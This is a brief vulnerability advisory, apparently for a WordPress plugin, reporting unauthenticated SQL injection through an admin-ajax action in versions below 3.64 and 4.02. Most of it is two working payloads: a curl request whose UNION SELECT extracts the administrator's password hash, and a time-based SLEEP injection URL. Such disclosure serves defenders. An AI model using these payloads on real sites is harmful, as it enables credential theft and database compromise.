The plugin does not properly sanitise and escape some parameters before using them in SQL statements via an AJAX action, leading to SQL Injections exploitable by unauthenticated users
v < 3.64: curl http://example.com/wp-admin/admin-ajax.php --data ‘action=get_semadata&type;=attributes&catid;=-3 UNION ALL SELECT 1,2,3,(SELECT user_pass FROM wp_users WHERE ID = 1),5-- -’ v < 4.02 https://example.com/wp-admin/admin-ajax.php?action=get_semadata&type;=deleteattribute&catid;=1&attrids;=1) AND %28SELECT 42 FROM %28SELECT%28SLEEP%285%29%29%29b